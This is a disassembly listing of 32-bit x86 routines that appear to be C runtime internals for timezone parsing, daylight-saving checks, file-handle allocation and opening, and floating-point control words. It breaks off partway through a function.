mov dword_515A40, ebp
mov dword_43BEA8, ebx
mov dword_43BE98, ebx
call sub_41EFBB
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_41DE3B
push offset dword_515A48
nop
call near ptr 7C8350BFh
cmp eax, ebx
jz loc_41DF6A
mov eax, dword_515A48
mov ecx, dword_515A9C
imul eax, 3Ch
cmp word_515A8E, bp
push 1
pop edx
mov dword_43BE00, eax
mov dword_515A40, edx
jz short loc_41DD89
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_43BE00, eax
loc_41DD89: ; CODE XREF: sub_41DD12+69j
cmp word_515AE2, bp
jz short loc_41DDAD
mov eax, dword_515AF0
cmp eax, ebp
jz short loc_41DDAD
sub eax, ecx
mov dword_43BE04, edx
imul eax, 3Ch
mov dword_43BE08, eax
jmp short loc_41DDB9
; ---------------------------------------------------------------------------
loc_41DDAD: ; CODE XREF: sub_41DD12+7Ej
; sub_41DD12+87j
mov dword_43BE04, ebp
mov dword_43BE08, ebp
loc_41DDB9: ; CODE XREF: sub_41DD12+99j
lea eax, [esp+14h+var_4]
mov esi, dword_421158
push eax
push ebp
push 3Fh
mov edi, 220h
push off_43BE8C
push ebx
push offset dword_515A4C
push edi
push dword_5158FC
call esi ; WideCharToMultiByte
test eax, eax
jz short loc_41DDF6
cmp [esp+14h+var_4], ebp
jnz short loc_41DDF6
mov eax, off_43BE8C
and byte ptr [eax+3Fh], 0
jmp short loc_41DDFE
; ---------------------------------------------------------------------------
loc_41DDF6: ; CODE XREF: sub_41DD12+D1j
; sub_41DD12+D7j
mov eax, off_43BE8C
and byte ptr [eax], 0
loc_41DDFE: ; CODE XREF: sub_41DD12+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_43BE90
push ebx
push offset dword_515AA0
push edi
push dword_5158FC
call esi ; WideCharToMultiByte
test eax, eax
jz loc_41DF62
cmp [esp+14h+var_4], ebp
jnz loc_41DF62
mov eax, off_43BE90
and byte ptr [eax+3Fh], 0
jmp loc_41DF6A
; ---------------------------------------------------------------------------
loc_41DE3B: ; CODE XREF: sub_41DD12+2Dj
cmp byte ptr [esi], 0
jz loc_41DF6A
mov eax, dword_515AF4
cmp eax, ebp
jz short loc_41DE5E
push eax
push esi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41DF6A
loc_41DE5E: ; CODE XREF: sub_41DD12+139j
push dword_515AF4
call sub_417C62
push esi
call sub_417AF0
inc eax
push eax
call sub_417BEE
add esp, 0Ch
cmp eax, ebp
mov dword_515AF4, eax
jz loc_41DF6A
push esi
push eax
call sub_417A00
push 3
push esi
push off_43BE8C
call sub_4182F0
mov eax, off_43BE8C
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_41DEB3
push 1
inc esi
pop edi
loc_41DEB3: ; CODE XREF: sub_41DD12+19Bj
push esi
call sub_417894
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_43BE00, ecx
loc_41DECA: ; CODE XREF: sub_41DD12+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_41DED8
cmp al, bl
jl short loc_41DEDB
cmp al, 39h
jg short loc_41DEDB
loc_41DED8: ; CODE XREF: sub_41DD12+1BCj
inc esi
jmp short loc_41DECA
; ---------------------------------------------------------------------------
loc_41DEDB: ; CODE XREF: sub_41DD12+1C0j
; sub_41DD12+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_41DF2E
inc esi
push esi
call sub_417894
imul eax, 3Ch
pop ecx
mov ecx, dword_43BE00
add ecx, eax
mov dword_43BE00, ecx
loc_41DEF9: ; CODE XREF: sub_41DD12+1F2j
mov al, [esi]
cmp al, bl
jl short loc_41DF06
cmp al, 39h
jg short loc_41DF06
inc esi
jmp short loc_41DEF9
; ---------------------------------------------------------------------------
loc_41DF06: ; CODE XREF: sub_41DD12+1EBj
; sub_41DD12+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_41DF2E
inc esi
push esi
call sub_417894
pop ecx
mov ecx, dword_43BE00
add ecx, eax
mov dword_43BE00, ecx
loc_41DF21: ; CODE XREF: sub_41DD12+21Aj
mov al, [esi]
cmp al, bl
jl short loc_41DF2E
cmp al, 39h
jg short loc_41DF2E
inc esi
jmp short loc_41DF21
; ---------------------------------------------------------------------------
loc_41DF2E: ; CODE XREF: sub_41DD12+1CCj
; sub_41DD12+1F7j ...
cmp edi, ebp
jz short loc_41DF3A
neg ecx
mov dword_43BE00, ecx
loc_41DF3A: ; CODE XREF: sub_41DD12+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_43BE04, eax
jz short loc_41DF62
push 3
push esi
push off_43BE90
call sub_4182F0
mov eax, off_43BE90
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_41DF6A
; ---------------------------------------------------------------------------
loc_41DF62: ; CODE XREF: sub_41DD12+10Bj
; sub_41DD12+115j ...
mov eax, off_43BE90
and byte ptr [eax], 0
loc_41DF6A: ; CODE XREF: sub_41DD12+40j
; sub_41DD12+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_41DD12 endp
; =============== S U B R O U T I N E =======================================
sub_41DF70 proc near ; CODE XREF: sub_41B2D5+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_43BE04, edi
jnz short loc_41DF84
loc_41DF7D: ; CODE XREF: sub_41DF70+148j
; sub_41DF70+150j ...
xor eax, eax
jmp loc_41E0D0
; ---------------------------------------------------------------------------
loc_41DF84: ; CODE XREF: sub_41DF70+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_43BE98
jnz short loc_41DFA2
cmp eax, dword_43BEA8
jz loc_41E0A4
loc_41DFA2: ; CODE XREF: sub_41DF70+24j
cmp dword_515A40, edi
jz loc_41E07A
movzx ecx, word_515AEE
push ecx
cmp word_515AE0, di
movzx ecx, word_515AEC
push ecx
movzx ecx, word_515AEA
push ecx
movzx ecx, word_515AE8
push ecx
jnz short loc_41DFF4
movzx ecx, word_515AE4
push edi
push ecx
movzx ecx, word_515AE6
push ecx
movzx ecx, word_515AE2
push ecx
push eax
push ebx
jmp short loc_41E008
; ---------------------------------------------------------------------------
loc_41DFF4: ; CODE XREF: sub_41DF70+65j
movzx ecx, word_515AE6
push ecx
push edi
movzx ecx, word_515AE2
push edi
push ecx
push eax
push edi
loc_41E008: ; CODE XREF: sub_41DF70+82j
push ebx
call sub_41E11C
movzx eax, word_515A9A
add esp, 2Ch
cmp word_515A8C, di
push eax
movzx eax, word_515A98
push eax
movzx eax, word_515A96
push eax
movzx eax, word_515A94
push eax
jnz short loc_41E062
movzx eax, word_515A90
push edi
push eax
movzx eax, word_515A92
push eax
movzx eax, word_515A8E
push eax
push dword ptr [esi+14h]
push ebx
loc_41E057: ; CODE XREF: sub_41DF70+108j
push edi
call sub_41E11C
add esp, 2Ch
jmp short loc_41E0A4
; ---------------------------------------------------------------------------
loc_41E062: ; CODE XREF: sub_41DF70+C8j
movzx eax, word_515A92
push eax
push edi
movzx eax, word_515A8E
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_41E057
; ---------------------------------------------------------------------------
loc_41E07A: ; CODE XREF: sub_41DF70+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_41E11C
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_41E11C
add esp, 58h
loc_41E0A4: ; CODE XREF: sub_41DF70+2Cj
; sub_41DF70+F0j
mov edx, dword_43BE9C
mov eax, dword_43BEAC
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_41E0D4
cmp ecx, edx
jl loc_41DF7D
cmp ecx, eax
jg loc_41DF7D
cmp ecx, edx
jle short loc_41E0E8
cmp ecx, eax
jge short loc_41E0E8
loc_41E0CE: ; CODE XREF: sub_41DF70+166j
; sub_41DF70+16Aj
mov eax, ebx
loc_41E0D0: ; CODE XREF: sub_41DF70+Fj
; sub_41DF70+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E0D4: ; CODE XREF: sub_41DF70+144j
cmp ecx, eax
jl short loc_41E0CE
cmp ecx, edx
jg short loc_41E0CE
cmp ecx, eax
jle short loc_41E0E8
cmp ecx, edx
jl loc_41DF7D
loc_41E0E8: ; CODE XREF: sub_41DF70+158j
; sub_41DF70+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_41E10F
xor ecx, ecx
cmp eax, dword_43BEA0
setnl cl
loc_41E10B: ; CODE XREF: sub_41DF70+1AAj
mov eax, ecx
jmp short loc_41E0D0
; ---------------------------------------------------------------------------
loc_41E10F: ; CODE XREF: sub_41DF70+18Ej
xor ecx, ecx
cmp eax, dword_43BEB0
setl cl
jmp short loc_41E10B
sub_41DF70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E11C proc near ; CODE XREF: sub_41DF70+99p
; sub_41DF70+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_41E1B7
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_41E147
shl esi, 2
mov eax, dword_43BEB0[esi]
jmp short loc_41E150
; ---------------------------------------------------------------------------
loc_41E147: ; CODE XREF: sub_41E11C+1Ej
shl esi, 2
mov eax, dword_43BEE4[esi]
loc_41E150: ; CODE XREF: sub_41E11C+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jge short loc_41E18A
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_41E194
; ---------------------------------------------------------------------------
loc_41E18A: ; CODE XREF: sub_41E11C+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_41E194: ; CODE XREF: sub_41E11C+6Cj
cmp [ebp+arg_10], 5
jnz short loc_41E1D2
cmp [ebp+arg_8], 0
jnz short loc_41E1A8
mov esi, dword_43BEB4[esi]
jmp short loc_41E1AE
; ---------------------------------------------------------------------------
loc_41E1A8: ; CODE XREF: sub_41E11C+82j
mov esi, dword_43BEE8[esi]
loc_41E1AE: ; CODE XREF: sub_41E11C+8Aj
cmp ecx, esi
jle short loc_41E1D2
sub ecx, 7
jmp short loc_41E1D2
; ---------------------------------------------------------------------------
loc_41E1B7: ; CODE XREF: sub_41E11C+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_41E1C8
mov ecx, dword_43BEB0[eax*4]
jmp short loc_41E1CF
; ---------------------------------------------------------------------------
loc_41E1C8: ; CODE XREF: sub_41E11C+A1j
mov ecx, dword_43BEE4[eax*4]
loc_41E1CF: ; CODE XREF: sub_41E11C+AAj
add ecx, [ebp+arg_18]
loc_41E1D2: ; CODE XREF: sub_41E11C+7Cj
; sub_41E11C+94j ...
cmp [ebp+arg_0], 1
jnz short loc_41E203
mov eax, [ebp+arg_1C]
mov dword_43BE9C, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_43BE98, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43BEA0, eax
jmp short loc_41E258
; ---------------------------------------------------------------------------
loc_41E203: ; CODE XREF: sub_41E11C+BAj
mov eax, [ebp+arg_1C]
mov dword_43BEAC, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_43BE08
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43BEB0, eax
jns short loc_41E23B
add eax, 5265C00h
dec ecx
mov dword_43BEB0, eax
jmp short loc_41E24C
; ---------------------------------------------------------------------------
loc_41E23B: ; CODE XREF: sub_41E11C+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_41E252
sub eax, edx
inc ecx
mov dword_43BEB0, eax
loc_41E24C: ; CODE XREF: sub_41E11C+11Dj
mov dword_43BEAC, ecx
loc_41E252: ; CODE XREF: sub_41E11C+126j
mov dword_43BEA8, ebx
loc_41E258: ; CODE XREF: sub_41E11C+E5j
pop esi
pop ebx
pop ebp
retn
sub_41E11C endp
; =============== S U B R O U T I N E =======================================
sub_41E25C proc near ; CODE XREF: sub_41E476:loc_41E5EEp
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_516B80
loc_41E26B: ; CODE XREF: sub_41E25C+48j
mov eax, [ecx]
test eax, eax
jz short loc_41E2A8
lea edx, [eax+100h]
loc_41E277: ; CODE XREF: sub_41E25C+28j
cmp eax, edx
jnb short loc_41E297
test byte ptr [eax+4], 1
jz short loc_41E286
add eax, 8
jmp short loc_41E277
; ---------------------------------------------------------------------------
loc_41E286: ; CODE XREF: sub_41E25C+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41E2EB
loc_41E297: ; CODE XREF: sub_41E25C+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_516C80
jl short loc_41E26B
jmp short loc_41E2EB
; ---------------------------------------------------------------------------
loc_41E2A8: ; CODE XREF: sub_41E25C+13j
mov esi, 100h
push esi
call sub_417BEE
test eax, eax
pop ecx
jz short loc_41E2EB
add dword_516C80, 20h
lea ecx, ds:516B80h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_41E2CE: ; CODE XREF: sub_41E25C+88j
cmp eax, edx
jnb short loc_41E2E6
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_41E2CE
; ---------------------------------------------------------------------------
loc_41E2E6: ; CODE XREF: sub_41E25C+74j
shl edi, 5
mov ebx, edi
loc_41E2EB: ; CODE XREF: sub_41E25C+39j
; sub_41E25C+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41E25C endp
; =============== S U B R O U T I N E =======================================
sub_41E2F1 proc near ; CODE XREF: sub_41E476+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_516C80
push edi
jnb short loc_41E351
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:516B80h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_41E351
cmp dword_43B594, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_41E347
sub eax, 0
jz short loc_41E33E
dec eax
jz short loc_41E339
dec eax
jnz short loc_41E347
push ebx
push 0FFFFFFF4h
jmp short loc_41E341
; ---------------------------------------------------------------------------
loc_41E339: ; CODE XREF: sub_41E2F1+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_41E341
; ---------------------------------------------------------------------------
loc_41E33E: ; CODE XREF: sub_41E2F1+3Bj
push ebx
push 0FFFFFFF6h
loc_41E341: ; CODE XREF: sub_41E2F1+46j
; sub_41E2F1+4Bj
nop
call near ptr 7C81DC03h
loc_41E347: ; CODE XREF: sub_41E2F1+36j
; sub_41E2F1+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_41E365
; ---------------------------------------------------------------------------
loc_41E351: ; CODE XREF: sub_41E2F1+Cj
; sub_41E2F1+28j
and dword_515888, 0
mov dword_515884, 9
or eax, 0FFFFFFFFh
loc_41E365: ; CODE XREF: sub_41E2F1+5Ej
pop edi
pop esi
retn
sub_41E2F1 endp
; =============== S U B R O U T I N E =======================================
sub_41E368 proc near ; CODE XREF: sub_41B397+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_516C80
push edi
jnb short loc_41E3CB
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:516B80h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_41E3CB
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41E3CB
cmp dword_43B594, 1
jnz short loc_41E3C1
xor eax, eax
sub ecx, eax
jz short loc_41E3B8
dec ecx
jz short loc_41E3B3
dec ecx
jnz short loc_41E3C1
push eax
push 0FFFFFFF4h
jmp short loc_41E3BB
; ---------------------------------------------------------------------------
loc_41E3B3: ; CODE XREF: sub_41E368+41j
push eax
push 0FFFFFFF5h
jmp short loc_41E3BB
; ---------------------------------------------------------------------------
loc_41E3B8: ; CODE XREF: sub_41E368+3Ej
push eax
push 0FFFFFFF6h
loc_41E3BB: ; CODE XREF: sub_41E368+49j
; sub_41E368+4Ej
nop
call near ptr 7C81DC03h
loc_41E3C1: ; CODE XREF: sub_41E368+38j
; sub_41E368+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_41E3DF
; ---------------------------------------------------------------------------
loc_41E3CB: ; CODE XREF: sub_41E368+Cj
; sub_41E368+2Aj ...
and dword_515888, 0
mov dword_515884, 9
or eax, 0FFFFFFFFh
loc_41E3DF: ; CODE XREF: sub_41E368+61j
pop edi
pop esi
retn
sub_41E368 endp
; =============== S U B R O U T I N E =======================================
sub_41E3E2 proc near ; CODE XREF: sub_41B397+32p
; sub_41B397+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_516C80
jnb short loc_41E40A
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_516B80[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_41E40A
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_41E40A: ; CODE XREF: sub_41E3E2+Aj
; sub_41E3E2+23j
and dword_515888, 0
mov dword_515884, 9
or eax, 0FFFFFFFFh
retn
sub_41E3E2 endp
; =============== S U B R O U T I N E =======================================
sub_41E41F proc near ; CODE XREF: sub_41B475+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_516C80
jnb short loc_41E468
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_516B80[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_41E468
push eax
call sub_41E3E2
pop ecx
push eax
nop
call near ptr 7C812641h
test eax, eax
jnz short loc_41E45D
nop
call near ptr 7C910331h
jmp short loc_41E45F
; ---------------------------------------------------------------------------
loc_41E45D: ; CODE XREF: sub_41E41F+34j
xor eax, eax
loc_41E45F: ; CODE XREF: sub_41E41F+3Cj
test eax, eax
jz short locret_41E475
mov dword_515888, eax
loc_41E468: ; CODE XREF: sub_41E41F+Aj
; sub_41E41F+22j
mov dword_515884, 9
or eax, 0FFFFFFFFh
locret_41E475: ; CODE XREF: sub_41E41F+42j
retn
sub_41E41F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E476 proc near ; CODE XREF: sub_41B851+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_41E49C
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_41E4A7
; ---------------------------------------------------------------------------
loc_41E49C: ; CODE XREF: sub_41E476+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_41E4A7: ; CODE XREF: sub_41E476+24j
mov eax, 8000h
test ecx, eax
jnz short loc_41E4C1
test ch, 40h
jnz short loc_41E4BD
cmp dword_515B3C, eax
jz short loc_41E4C1
loc_41E4BD: ; CODE XREF: sub_41E476+3Dj
or [ebp+var_1], 80h
loc_41E4C1: ; CODE XREF: sub_41E476+38j
; sub_41E476+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_41E4F9
dec eax
jz short loc_41E4F0
dec eax
jz short loc_41E4E7
loc_41E4D2: ; CODE XREF: sub_41E476+9Fj
; sub_41E476+E8j ...
mov dword_515884, 16h
mov dword_515888, ebx
jmp loc_41E70C
; ---------------------------------------------------------------------------
loc_41E4E7: ; CODE XREF: sub_41E476+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_41E500
; ---------------------------------------------------------------------------
loc_41E4F0: ; CODE XREF: sub_41E476+57j
mov [ebp+var_C], 40000000h
jmp short loc_41E500
; ---------------------------------------------------------------------------
loc_41E4F9: ; CODE XREF: sub_41E476+54j
mov [ebp+var_C], 80000000h
loc_41E500: ; CODE XREF: sub_41E476+78j
; sub_41E476+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_41E52E
cmp eax, 20h
jz short loc_41E525
cmp eax, 30h
jz short loc_41E51C
cmp eax, 40h
jnz short loc_41E4D2
mov [ebp+var_10], esi
jmp short loc_41E531
; ---------------------------------------------------------------------------
loc_41E51C: ; CODE XREF: sub_41E476+9Aj
mov [ebp+var_10], 2
jmp short loc_41E531
; ---------------------------------------------------------------------------
loc_41E525: ; CODE XREF: sub_41E476+95j
mov [ebp+var_10], 1
jmp short loc_41E531
; ---------------------------------------------------------------------------
loc_41E52E: ; CODE XREF: sub_41E476+90j
mov [ebp+var_10], ebx
loc_41E531: ; CODE XREF: sub_41E476+A4j
; sub_41E476+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_41E57B
jz short loc_41E576
cmp ecx, ebx
jz short loc_41E576
cmp ecx, edi
jz short loc_41E56D
cmp ecx, 200h
jz short loc_41E594
cmp ecx, 300h
jnz loc_41E4D2
mov [ebp+var_8], 2
jmp short loc_41E5A4
; ---------------------------------------------------------------------------
loc_41E56D: ; CODE XREF: sub_41E476+D8j
mov [ebp+var_8], 4
jmp short loc_41E5A4
; ---------------------------------------------------------------------------
loc_41E576: ; CODE XREF: sub_41E476+D0j
; sub_41E476+D4j
mov [ebp+var_8], esi
jmp short loc_41E5A4
; ---------------------------------------------------------------------------
loc_41E57B: ; CODE XREF: sub_41E476+CEj
cmp ecx, 500h
jz short loc_41E59D
cmp ecx, 600h
jz short loc_41E594
cmp ecx, edx
jz short loc_41E59D
jmp loc_41E4D2
; ---------------------------------------------------------------------------
loc_41E594: ; CODE XREF: sub_41E476+E0j
; sub_41E476+113j
mov [ebp+var_8], 5
jmp short loc_41E5A4
; ---------------------------------------------------------------------------
loc_41E59D: ; CODE XREF: sub_41E476+10Bj
; sub_41E476+117j
mov [ebp+var_8], 1
loc_41E5A4: ; CODE XREF: sub_41E476+F5j
; sub_41E476+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_41E5C3
mov ecx, dword_51588C
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_41E5C3
push 1
pop esi
loc_41E5C3: ; CODE XREF: sub_41E476+138j
; sub_41E476+148j
test al, 40h
jz short loc_41E5D1
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_41E5D1: ; CODE XREF: sub_41E476+14Fj
test ah, 10h
jz short loc_41E5D8
or esi, edi
loc_41E5D8: ; CODE XREF: sub_41E476+15Ej
test al, 20h
jz short loc_41E5E4
or esi, 8000000h
jmp short loc_41E5EE
; ---------------------------------------------------------------------------
loc_41E5E4: ; CODE XREF: sub_41E476+164j
test al, 10h
jz short loc_41E5EE
or esi, 10000000h
loc_41E5EE: ; CODE XREF: sub_41E476+16Cj
; sub_41E476+170j
call sub_41E25C
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_41E60F
and dword_515888, 0
mov dword_515884, 18h
jmp short loc_41E64D
; ---------------------------------------------------------------------------
loc_41E60F: ; CODE XREF: sub_41E476+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
nop
call near ptr 7C801A24h
mov esi, eax
cmp esi, edi
jz short loc_41E640
push esi
nop
call near ptr 7C810E51h
test eax, eax
jnz short loc_41E654
push esi
nop
call near ptr 7C809B47h
loc_41E640: ; CODE XREF: sub_41E476+1B6j
nop
call near ptr 7C910331h
push eax
call sub_41C91A
pop ecx
loc_41E64D: ; CODE XREF: sub_41E476+197j
mov eax, edi
jmp loc_41E72A
; ---------------------------------------------------------------------------
loc_41E654: ; CODE XREF: sub_41E476+1C1j
cmp eax, 2
jnz short loc_41E65F
or [ebp+var_1], 40h
jmp short loc_41E668
; ---------------------------------------------------------------------------
loc_41E65F: ; CODE XREF: sub_41E476+1E1j
cmp eax, 3
jnz short loc_41E668
or [ebp+var_1], 8
loc_41E668: ; CODE XREF: sub_41E476+1E7j
; sub_41E476+1ECj
push esi
push ebx
call sub_41E2F1
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:516B80h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_41E711
test al, 80h
jz short loc_41E711
test byte ptr [ebp+arg_4], 2
jz short loc_41E711
push 2
push 0FFFFFFFFh
push ebx
call sub_41BA39
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_41E6C6
cmp dword_515888, 83h
jz short loc_41E711
jmp short loc_41E705
; ---------------------------------------------------------------------------
loc_41E6C6: ; CODE XREF: sub_41E476+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41B65B
add esp, 0Ch
test eax, eax
jnz short loc_41E6F3
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_41E6F3
push [ebp+var_10]
push ebx
call sub_41F038
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E705
loc_41E6F3: ; CODE XREF: sub_41E476+265j
; sub_41E476+26Bj
push 0
push 0
push ebx
call sub_41BA39
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_41E711
loc_41E705: ; CODE XREF: sub_41E476+24Ej
; sub_41E476+27Bj
push ebx
call sub_41B397
pop ecx
loc_41E70C: ; CODE XREF: sub_41E476+6Cj
or eax, 0FFFFFFFFh
jmp short loc_41E72A
; ---------------------------------------------------------------------------
loc_41E711: ; CODE XREF: sub_41E476+221j
; sub_41E476+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_41E728
test byte ptr [ebp+arg_4], 8
jz short loc_41E728
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_41E728: ; CODE XREF: sub_41E476+29Fj
; sub_41E476+2A5j
mov eax, ebx
loc_41E72A: ; CODE XREF: sub_41E476+1D9j
; sub_41E476+299j
pop edi
pop esi
pop ebx
leave
retn
sub_41E476 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E72F proc near ; CODE XREF: sub_41E764+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_41E77A
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_41E80C
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_41E72F endp
; =============== S U B R O U T I N E =======================================
sub_41E764 proc near ; CODE XREF: sub_41C466+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_41E72F
pop ecx
pop ecx
retn
sub_41E764 endp
; =============== S U B R O U T I N E =======================================
sub_41E77A proc near ; CODE XREF: sub_41E72F+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_41E78B
push 10h
pop eax
loc_41E78B: ; CODE XREF: sub_41E77A+Cj
test bl, 4
jz short loc_41E792
or al, 8
loc_41E792: ; CODE XREF: sub_41E77A+14j
test bl, 8
jz short loc_41E799
or al, 4
loc_41E799: ; CODE XREF: sub_41E77A+1Bj
test bl, 10h
jz short loc_41E7A0
or al, 2
loc_41E7A0: ; CODE XREF: sub_41E77A+22j
